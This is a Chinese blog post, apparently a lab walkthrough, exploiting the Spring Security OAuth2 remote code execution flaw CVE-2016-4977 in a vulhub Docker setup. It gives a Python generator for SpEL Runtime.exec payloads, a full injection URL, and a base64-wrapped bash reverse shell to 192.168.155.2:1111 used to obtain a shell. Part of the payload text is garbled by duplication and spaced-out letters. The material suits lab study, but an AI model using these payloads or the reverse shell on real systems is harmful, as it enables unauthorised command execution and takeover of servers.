当前位置: 首页 > news >正文

Spring Security OAuth2 远程命令执行漏洞

文章目录

  • 一、搭建环境
  • 二、漏洞验证
  • 三、准备payload
    • 四、执行payload
    • 五、变形payload

一、搭建环境

cd vulhub/spring/CVE-2016-4977/
docker-compose up -d

在这里插入图片描述在这里插入图片描述

二、漏洞验证

访问
http://192.168.10.171:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
用admin:admin登陆
在这里插入图片描述

出现以下报错,表示漏洞存在(response_type里面的命令执行了)
在这里插入图片描述

三、准备payload

poc.py
#!/usr/bin/env python
message = input(‘Enter message to encode:’)
poc = ‘${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)’ % ord(message[0])
for ch in message[1:]:
poc += ‘.concat(T(java.lang.Character).toString(%s))’ % ord(ch)
poc += ‘)}’
print(poc)

python3 poc.py #输入要执行的命令,会返回处理后的命令,这里输入whoami
在这里插入图片描述

取出得到的输出
T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 119 ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 104 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 111 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 97 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 109 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 105 ) ) ) P a y l o a d : o a u t h / a u t h o r i z e ? r e s p o n s e t y p e = {T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))} Payload:oauth/authorize?response_type= T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))Payload:oauth/authorize?responsetype={T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid&redirect_uri=http://test

四、执行payload

在这里插入图片描述

返回了进程,表示代码执行了,但这没有回显,是无回显RCE

五、变形payload

准备shell代码:bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
转成base64:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==
shell:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}
Python poc.y获取输出
在这里插入图片描述

将上面的命令加入到response_type参数部分,得到变形后的url
六、Getshell
开启监听
在这里插入图片描述

执行变形后的payload得到shell
在这里插入图片描述

http://www.lryc.cn/news/160751.html

相关文章:

  • Python之并发编程介绍
  • GO语言网络编程(并发编程)并发介绍,Goroutine
  • 英语连词总结
  • LeetCode 92. Reverse Linked List II【链表,头插法】中等
  • 【图论】Floyd
  • SpringCloudAlibaba Gateway(三)-整合Sentinel功能路由维度、API维度进行流控
  • 【笔试强训选择题】Day38.习题(错题)解析
  • DAY08_MyBatisPlus——入门案例标准数据层开发CRUD-Lombok-分页功能DQL编程控制DML编程控制乐观锁快速开发-代码生成器
  • 分光棱镜BS、PB、NPBS的区别
  • 人工智能论文通用创新点(一)——ACMIX 卷积与注意力融合、GCnet(全局特征融合)、Coordinate_attention、SPD(可替换下采样)
  • 您的计算机已被[new_day@torguard.tg].faust 勒索病毒感染?恢复您的数据的方法在这里!
  • 18--Elasticsearch
  • 代码随想录算法训练营 day59|503.下一个更大元素II、42. 接雨水
  • MyBatis数据库操作
  • python flask框架 debug功能
  • 《深入浅出OCR》第六章:OCR数据集与评价指标
  • 15. 线性代数 - 克拉默法则
  • 【LeetCode】剑指 Offer <二刷>(6)
  • jsp页面出现“String cannot be resolved to a type”错误解决办法
  • 【go-zero】使用自带Redis方法
  • 离线数仓同步数据3
  • Prometheus+Grafana 搭建应用监控系统
  • Spring Boot整合Log4j2.xml的问题
  • 代码随想录算法训练营第五十八天 | 739. 每日温度,496.下一个更大元素 I
  • 【动手学深度学习】--文本预处理
  • 2023年最佳研发管理平台评选:哪家表现出色?
  • 轻量容器引擎Docker基础使用
  • questions
  • MojoTween:使用「Burst、Jobs、Collections、Mathematics」优化实现的Unity顶级「Tween动画引擎」
  • Vue3响应式源码实现